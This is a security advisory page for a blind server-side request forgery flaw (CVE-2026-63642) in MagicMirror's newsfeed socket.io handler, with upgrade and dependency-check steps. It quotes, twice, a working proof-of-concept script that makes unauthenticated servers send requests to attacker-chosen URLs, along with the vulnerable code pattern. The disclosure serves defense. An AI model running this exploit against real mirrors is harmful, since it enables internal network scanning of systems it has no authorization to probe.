CVE-2026-63642: Magicmirror MagicMirror Newsfeed Socket.IO Notification Allows Vulnerability

MODERATE
Advisory Identifier: GHSA-998g-7v5w-cr7g
CWE-918
Published
Advisory Summary

CVE-2026-63642 is a MODERATE magicmirror newsfeed socket.io notification allows vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Magicmirror libraries in the npm ecosystem. The issue involves magicmirror newsfeed socket.io notification allows blind server-side request forgery. Remediation is available by upgrading affected packages to version 2.37.0.

CVE-2026-63642 at a Glance

CVE Identifier CVE-2026-63642
GHSA Identifier GHSA-998g-7v5w-cr7g
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Magicmirror
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-63642

To remediate this vulnerability, upgrade all affected Magicmirror dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

magicmirror fixed: 2.37.0
npm install magicmirror@2.37.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls magicmirror

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63642, inspect your project dependencies using npm:

npm ls magicmirror

Analyze the terminal output to locate any version of Magicmirror in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.37.0), your application is affected.

Note: The npm ls magicmirror command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Magicmirror, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed) > Analysis of the PoC `exploit-ssrf-newsfeed.js`. > Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: "HEAD" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`. This gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target. The actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little. --- ## Root cause: unauthenticated socket.io channel + permissive CORS The socket.io server accepts connections from **any origin** and with **no authentication**: ```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ``` The `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification. --- ## Exploit (`exploit-ssrf-newsfeed.js`) ```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site"; const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] }); socket.onAny((event, payload) => { if (event === "ARTICLE_URL_STATUS") { console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`); console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF)."); process.exit(0); } }); socket.on("connect", () => { console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`); socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT }); }); setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000); ``` --- ## Vulnerable target code (pattern) ```js async checkArticleUrl(url) { const res = await fetch(url, { method: "HEAD" }); const canFrame = !res.headers.get("x-frame-options") && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || ""); this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame }); } ``` --- ## Impact - **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive. - Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC). - Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD. --- ### References - CWE-918: Server-Side Request Forgery (SSRF) - CWE-306: Missing Authentication for Critical Function - CWE-942: Permissive Cross-domain Policy with Untrusted Domains - OWASP: SSRF Prevention Cheat Sheet > This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

CVE-2026-63642 Affected Magicmirror Versions

1 component(s)
Fixed Versions:
2.37.0
Product / Package Ecosystem Affected Versions Fixed Version
magicmirror
npm
< 2.37.0
2.37.0

References

Frequently Asked Questions

What is CVE-2026-63642?
CVE-2026-63642 is a security vulnerability in Magicmirror involving MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery under CWE-918: Server-Side Request Forgery (SSRF).
Which Magicmirror versions are affected?
Affected versions include releases prior to 2.37.0 across affected packages: magicmirror.
What version fixes CVE-2026-63642?
Upgrading to 2.37.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is magicmirror affected?
Yes, magicmirror is affected in releases prior to 2.37.0. Upgrade your dependency to 2.37.0 or later.
What CWE is associated with CVE-2026-63642?
CVE-2026-63642 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-63642?
Run the dependency tree command: 'npm ls magicmirror'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-998g-7v5w-cr7g",
  "modified" : "2026-08-18T17:26:46Z",
  "published" : "2026-08-18T17:26:46Z",
  "aliases" : [ "CVE-2026-63642" ],
  "summary" : "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery",
  "details" : "# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed)\n\n> Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n> Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror's HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) => {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () => {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() => { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                && !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n> This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "magicmirror"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.37.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T17:26:46Z",
    "nvd_published_at" : null
  }
}